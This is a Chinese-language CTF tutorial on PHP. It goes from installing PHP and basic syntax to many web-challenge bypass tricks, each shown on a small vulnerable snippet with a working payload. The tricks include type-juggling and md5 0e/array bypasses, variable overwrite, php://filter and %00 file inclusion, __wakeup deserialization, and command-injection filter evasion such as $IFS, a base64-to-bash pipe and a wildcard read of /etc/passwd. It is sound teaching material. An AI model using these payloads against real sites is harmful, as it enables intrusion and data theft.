摘自hello-ctf
打开 → https://windows.php.net/download
下载 VS16 x64 Non Thread Safe 的 Zip 包(比如 php-8.3.x-nts-Win32-vs16-x64.zip)
把 zip 解压到 C:\php(路径不要有空格和中文)
Win + R,输入 sysdm.cpl,回车Path,双击C:\php,确定打开 新的 CMD 或 PowerShell:
cmdphp -v
看到版本号就成功了。
| 扩展名 | 作用 |
|---|---|
| PHP Intelephense | PHP 语法高亮、补全、报错提示 |
| Code Runner | 右键直接运行代码,不用敲命令行 |
装完扩展后,按 Ctrl + Shift + P,输入 settings json,打开 首选项: 打开用户设置 (JSON)。
添加这一行(路径改成你的):
json{
"php.validate.executablePath": "C:\\php\\php.exe",
"code-runner.executorMap": {
"php": "C:\\php\\php.exe"
}
}
PHP 脚本以 <?php 开始,以 ?> 结束:
php<?php
// 执行的相关PHP代码
?>
变量命名规则:
$ 符号开始,后面跟着变量名称$y 和 $Y 是两个不同的变量)php<?php
$x_int = 1024;
$y_int = 0xFFF; // 十六进制
$float_num = 1.5;
$txt_string = "Hello CTF!";
$stat_Boolean = true;
?>
赋值与复合赋值运算符:
| 运算符 | 等同于 | 描述 |
|---|---|---|
x = y | x = y | 左操作数被设置为右侧表达式的值 |
x ?= y | x = x ? y | 支持 +=, -=, *=, /=, %=, .= |
逻辑运算符:
| 运算符 | 名称 | 描述 |
|---|---|---|
x and / x && y | 与 | 如果 x 和 y 都为 true,则返回 true |
x or / x || y | 或 | 如果 x 和 y 至少有一个为 true,则返回 true |
x xor y | 异或 | 如果 x 和 y 有且仅有一个为 true,则返回 true |
!x | 非 | 如果 x 不为 true,则返回 true |
==:只比较值,不比较类型===:既比较值,也比较类型php0 == false; // bool(true)
0 === false; // bool(false)
echo:可以输出一个或多个字符串print:只允许输出一个字符串,返回值总为 1php<?php
echo "Hello CTF 很有趣!";
?>
使用 array() 函数创建数组:
php<?php
$cars = array("Hello", "CTF");
echo "I like " . $cars[0] . " " . $cars[1] . ".";
?>
使用 [] 定义数组(PHP 5.4+):
php$z = ['H', 'e', 'l', 'l', 'o'];
$z[0] = 'H';
$z[1] = 'r';
形如 __XXX__ 的预定义常量被称为魔术常量:
| 魔术常量 | 含义 |
|---|---|
__FILE__ | 返回文件的完整路径和文件名 |
__LINE__ | 返回当前行号 |
__DIR__ | 返回文件所在目录 |
__FUNCTION__ | 返回函数名称 |
__CLASS__ | 返回类名称 |
__METHOD__ | 返回类的方法名 |
phphighlight_file(__FILE__); // 代码高亮显示当前文件内容
| 超全局变量 | 作用 |
|---|---|
$_GET | 接受 GET 请求传递的参数 |
$_POST | 接受 POST 请求传递的参数 |
$_REQUEST | 接受 GET、POST 以及 Cookie 请求传递的参数 |
$_COOKIE | 接受 Cookie 数据 |
$_SESSION | 接受 Session 数据 |
$_SERVER | 包含服务器和执行环境信息 |
$_REQUEST 的优先级: 默认情况下,$_REQUEST 的优先级为 EGPCS(Environment, Get, Post, Cookie, Server),即同名的 POST 变量会覆盖 GET 变量。
文件操作函数:
include():导入并执行指定的 PHP 文件,文件不存在时产生警告(Warning)require():类似于 include(),文件不存在时产生致命错误(Fatal Error)include_once() / require_once():只导入文件一次,防止重复包含fopen():打开一个文件或 URLfile_get_contents():读取文件的全部内容到一个字符串file_put_contents():将一个字符串写入文件highlight_file():高亮显示文件内容代码/命令执行函数:
eval():执行字符串中的 PHP 代码assert():检查条件是否为 true,可执行代码system():执行外部程序并显示输出shell_exec():通过 shell 执行命令并以字符串返回exec():执行外部程序passthru():执行外部程序并显示原始输出反序列化函数:
unserialize():将已序列化的字符串转换回 PHP 值数据库操作函数:
mysql_query() / mysqli_query():发送 MySQL 查询其他常用函数:
preg_replace():执行正则表达式搜索和替换(当第一个参数为 /e 修饰符时可执行代码)create_function():创建匿名 lambda 函数(PHP 7.2+ 已废弃)strpos() / stripos():查找字符串首次出现的位置strstr() / stristr():查找字符串的首次出现,返回子串substr():返回字符串的子串intval():获取变量的整数值md5():计算字符串的 MD5 散列值sha1():计算字符串的 SHA-1 散列值strcmp():二进制安全字符串比较json_decode():对 JSON 字符串进行解码extract():从数组中将变量导入到当前符号表parse_str():将字符串解析到变量中is_numeric() 绕过作用: 检测变量是否是数字或数字字符串。
绕过方法: 在数字前面或后面加上以下空白字符:
%0a(换行符 LF)%0b(垂直制表符 VT)%0c(换页符 FF)%0d(回车符 CR)%09(水平制表符 HT)%20(空格)%00(空字节)例题:
php<?php
$a = $_GET['a'];
if (is_numeric($a)) {
exit();
} elseif ($a == 404) {
echo "flag";
}
?>
Payload: ?a=1%0a 或 ?a=404%00
PHP 采用 IEEE 754 双精度浮点数 标准,使用 1位符号 + 11位指数 + 52位尾数 表示浮点数。
核心问题: 浮点数在二进制中无法精确表示某些十进制小数,导致精度丢失。
phpecho 0.57 * 100; // 可能输出 56.99999999999999
echo intval(0.57 * 100); // 输出 56,而非 57
echo intval(0.58 * 100); // 输出 57,而非 58
解决方法:
phpintval(0.58 * 1000 / 10); // 先放大再缩小,避免精度问题
CTF 例题:
php$flag = 'flag{test}';
extract($_GET);
if (strstr($num, '1')) {
die('Out!');
}
if ($num == 1) {
var_dump($flag);
}
?>
Payload: ?num=0.999999999999999999999999
$num == 1strstr() 找不到字符 '1',成功绕过== 的类型转换规则当不同类型的值使用 == 比较时,PHP 会自动进行类型转换:
| 场景 | 结果 |
|---|---|
| 字符串 vs 数字 | 字符串转为数字 |
"123" == 123 | true |
"123a" == 123 | true(取起始数字部分) |
"a123" == 0 | true(无数字开头,转为 0) |
"0x1e240" == 123456 | true(十六进制解析) |
"1e2" == 100 | true(科学计数法) |
0 == "a" | true(字符串转数字为 0) |
true == "任意字符串" | true |
关键规则: 字符串转数字时,如果包含 e、.、E,会作为 float 处理;否则为 int。如果字符串起始部分为数值,则采用起始数值;否则一律为 0。
====== 要求值和类型都相同,不会发生自动类型转换。
php123 === "123"; // false
0 === false; // false
攻防世界 PHP2 例题:
php<?php
if ("admin" === $_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if ($_GET[id] == "admin") {
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
分析: 第一次比较使用 ===,第二次使用 == 且先进行 urldecode()。
Payload: 将 admin 进行两次 URL 编码:
admin → %61%64%6d%69%6e → %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65$_GET[id] 获取的是 %61%64%6d%69%6e,不等于 "admin"(===)urldecode() 后变为 admin,"admin" == "admin" 为 truestrcmp() 绕过函数原型: int strcmp(string $str1, string $str2)
返回值: 相等返回 0,小于返回 <0,大于返回 >0。
绕过原理: strcmp() 要求传入字符串类型,如果传入数组会报错并返回 NULL,而 NULL == 0 为 true。
例题:
php$flag = 'flag{123}';
if (strcmp($flag, $_GET['str']) == 0) {
echo $flag;
} else {
echo "Out!";
}
?>
Payload: ?str[]=xxx(传入数组)
注意: 在 PHP 5.3 之前,
strcmp的行为有所不同,返回的是 str2 第一位字母 ASCII 减去 str1 第一位字母。
is_numeric() 二次绕过利用类型转换特性(PHP < 8.0.0),字符串会先转为数值再比较:
php$flag = 'flag{111}';
$id = $_GET['id'];
if (is_numeric($id) > 0) {
echo 'Out!';
} else {
if ($id > 233) {
echo $flag;
}
}
?>
Payload:
?id=2333,(逗号截断)?id=2333%00(空字节截断)?id=2333A(字母截断)switch 语句绕过switch 在进行数字类型的 case 判断时,会自动将参数转换为 int 类型。
例题:
php$a = "233a";
$flag = "flag{Give you FLAG}";
switch ($a) {
case 1: echo "No Flag"; break;
case 2: echo "No Flag"; break;
case 233: echo $flag; break;
default: $a = 233; echo "Haha..."; break;
}
?>
输出: flag{Give you FLAG}
"233a" 被转换为 233,匹配 case 233md5() 绕过函数原型: string md5(string $str [, bool $raw_output = false])
绕过方式一:0e 科学计数法绕过(松散比较 ==)
当 md5 哈希值以 0e 开头且后面全为数字时,PHP 会将其解析为科学计数法 0 × 10^n = 0。
phpvar_dump(0e912 == 0e112); // true,都被解析为 0
常见 0e 开头的 md5 值:
| 原值 | md5 值 |
|---|---|
240610708 | 0e462097431906509019562988736854 |
314282422 | 0e990995504821699494520356953734 |
QNKCDZO | 0e830400451993494058024219903391 |
QLTHNDT | 0e405967825401955372549139051580 |
EEIZDOI | 0e782601363539291779881938479162 |
TUFEPMC | 0e839407194569345277863905212547 |
例题(松散比较):
php$flag = "flag{THIS_IS_REAL_FLAG}";
$v1 = $_GET['gat'];
$v2 = $_GET['tag'];
if ($v1 != $v2 && md5($v1) == md5($v2)) {
echo $flag;
}
?>
Payload: ?gat=240610708&tag=314282422
绕过方式二:数组绕过(严格比较 ===)
md5() 无法处理数组,传入数组会报错并返回 NULL,两个 NULL === NULL 为 true。
例题(严格比较):
php$flag = "flag{THIS_IS_REAL_FLAG}";
$str1 = $_GET['gat'];
$str2 = $_GET['tag'];
if (md5($str1) === md5($str2)) {
echo $flag;
}
?>
Payload: ?gat[]=&tag[]=(传入两个空数组)
绕过方式三:自身 md5 相等
找一个值,其自身和 md5 值都以 0e 开头:
0e215962017 的 md5 为 0e291242476940776845150308577824绕过方式四:md5 强碰撞
当存在强制类型转换 (string) 且使用 === 时,需要找到两个不同字符串具有相同 md5 值:
Payload:
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
sha1() 绕过与 md5() 类似,sha1() 同样无法处理数组,也存在 0e 开头的碰撞值:
常见 sha1 后以 0e 开头的值:
aaroZmOkaaK1STfYaaO8zKZFaa3OFF9m0e129063370410932435112intval() 绕过函数原型: int intval(mixed $var [, int $base = 10])
绕过方法:
| 方法 | 示例 | 说明 |
|---|---|---|
| 进制转换 | 0x117c / 010574 | 十六进制 / 八进制 |
| 科学计数法 | 4476e0 | e 特殊,可表示科学计数法 |
| 小数绕过 | 3.1 | 转 int 时只保留整数部分 |
| 字符串拼接 | 3ab | 遇到字母停止读取 |
| 两次取反 | ~~10 | 位运算绕过 |
| 算术运算 | 5+5 / 2*5 | 表达式求值 |
| 空数组 | [] | 弱比较时 [] == 0 |
注意: 在 PHP ≤ 7.0.9 时,intval("1e2") 返回 1(遇到 e 停止);但在 PHP > 7.0.9 时返回 100。
preg_match() 绕过绕过方法一:数组绕过
preg_match() 第二个参数要求字符串,传入数组时返回 false(不匹配),可绕过 if 判断。
phpif (preg_match("/[0-9]/", $num)) {
die("no no no!");
} else if (intval($num)) {
echo $flag;
}
?>
Payload: num[]=2
绕过方法二:%0a 换行符绕过
当正则使用 ^ 和 $ 锚点时,可以利用换行符绕过:
phppreg_match('/^gxngxngxn$/', $gxn)
?>
Payload: gxn=gxngxngxn%0a
in_array() 与 array_search() 绕过函数原型:
bool in_array(mixed $needle, array $haystack [, bool $strict = FALSE])mixed array_search(mixed $needle, array $haystack [, bool $strict = FALSE])绕过原理: 当 strict 为 false(默认)时,使用松散比较 ==。
php$array = [0, 1, 2, '3'];
var_dump(in_array('abc', $array)); // true,"abc" == 0
var_dump(in_array('1bc', $array)); // true,"1bc" == 1
数组绕过(严格模式):
phpif (!is_array($_GET['test'])) exit();
$test = $_GET['test'];
for ($i = 0; $i < count($test); $i++) {
if ($test[$i] === "admin") {
echo "error"; exit();
}
$test[$i] = intval($test[$i]);
}
if (array_search("admin", $test) === 0) {
echo "flag";
}
?>
Payload: test[]=0
array_search("admin", [0]) 中 "admin" == 0 为 true,返回键名 0extract() 变量覆盖extract() 从数组中将变量导入到当前符号表,如果数组键名与已有变量同名,会覆盖原有变量。
php$flag = 'flag{test}';
extract($_GET); // 用户传入的变量可覆盖 $flag
parse_str() 变量覆盖phpparse_str($_SERVER['QUERY_STRING']); // 解析查询字符串到变量
$$ 变量覆盖php$a = "b";
$$a = "c"; // 等价于 $b = "c"
常见伪协议:
| 伪协议 | 用途 | 条件 |
|---|---|---|
php://filter | 读取文件并进行编码转换 | allow_url_fopen 和 allow_url_include 关闭也可用 |
php://input | 读取 POST 数据流 | 需开启 allow_url_include |
data:// | 内嵌数据 | 需开启 allow_url_fopen |
phar:// | 访问 Phar 压缩包内文件 | — |
zip:// | 访问 ZIP 压缩包内文件 | — |
file:// | 访问本地文件 | — |
php://filter 读取源码:
php://filter/read=convert.base64-encode/resource=flag.php
php://input 代码执行:
php$file = file_get_contents("php://input"); // 获取 POST 原始数据
%00 截断(PHP ≤ 5.2):
?file=flag.php%00
__wakeup() 绕过(CVE-2016-7124):
当对象的属性个数大于实际属性个数时,__wakeup() 方法不会被执行。
phpO:4:"Test":2:{s:1:"a";s:5:"hello";} // 正常
O:4:"Test":3:{s:1:"a";s:5:"hello";} // 属性数改为3,绕过 __wakeup
Phar 反序列化:
通过 phar:// 协议触发反序列化,即使目标代码没有直接调用 unserialize()。
常见命令执行函数:
system(), exec(), shell_exec(), passthru(), popen(), proc_open()`(等同于 shell_exec())绕过技巧:
$IFS, ${IFS}, $IFS$9, <, <>;, &&, \|\|, |, &ca\t, c''at, c""at, c\at, c${9}at, $(printf '\x63\x61\x74')echo 'Y2F0Cg==' \| base64 -d \| bash/???/??t /???/???s??(匹配 /bin/cat /etc/passwd)ereg() %00 截断(PHP < 5.3):
phpereg("^[a-zA-Z0-9]+$", $_GET['id'])
?>
Payload: ?id=1%00*(%00 截断后正则只匹配到 1)
preg_replace() /e 修饰符代码执行:
phppreg_replace('/(.*)/e', 'system("ls")', 'hello');
mt_rand() / rand():
PHP 的随机数生成器是伪随机的,种子确定后序列可预测。可通过已知的随机数反推种子(使用 php_mt_seed 工具)。
利用 json_decode 解码后的类型转换:
php$message = json_decode($_GET['message']);
if ($message->key == "admin") {
echo $flag;
}
?>
Payload: message={"key":0}
"admin" 与 0 松散比较为 true短标签:
php<?= "Hello" ?> // 等价于 <?php echo "Hello" ?>
ASP 风格(已废弃):
php<% echo "Hello" %>
脚本风格:
php<script language="php">echo "Hello";</script>
| 漏洞类型 | 关键函数 | 绕过方法 |
|---|---|---|
| 数字检测绕过 | is_numeric() | %0a, %0b, %0c, %0d, %09, %00 |
| 字符串比较绕过 | strcmp() | 传入数组返回 NULL == 0 |
| 哈希松散比较 | md5(), sha1() | 找 0e 开头碰撞值 |
| 哈希严格比较 | md5(), sha1() | 传入数组返回 NULL === NULL |
| 整数转换绕过 | intval() | 进制转换、科学计数法、小数 |
| 正则匹配绕过 | preg_match() | 数组绕过、%0a 换行符 |
| 数组搜索绕过 | in_array(), array_search() | 利用 == 松散比较 |
| 类型转换绕过 | switch | 字符串自动转 int |
| 变量覆盖 | extract(), parse_str() | 传入同名变量覆盖 |
| 文件包含 | include(), require() | 伪协议、%00 截断 |
| 代码执行 | eval(), assert(), preg_replace(/e/) | 直接注入 PHP 代码 |
| 命令执行 | system(), exec() | 空格替换、编码、通配符 |
| 反序列化 | unserialize() | __wakeup 绕过、Phar 协议 |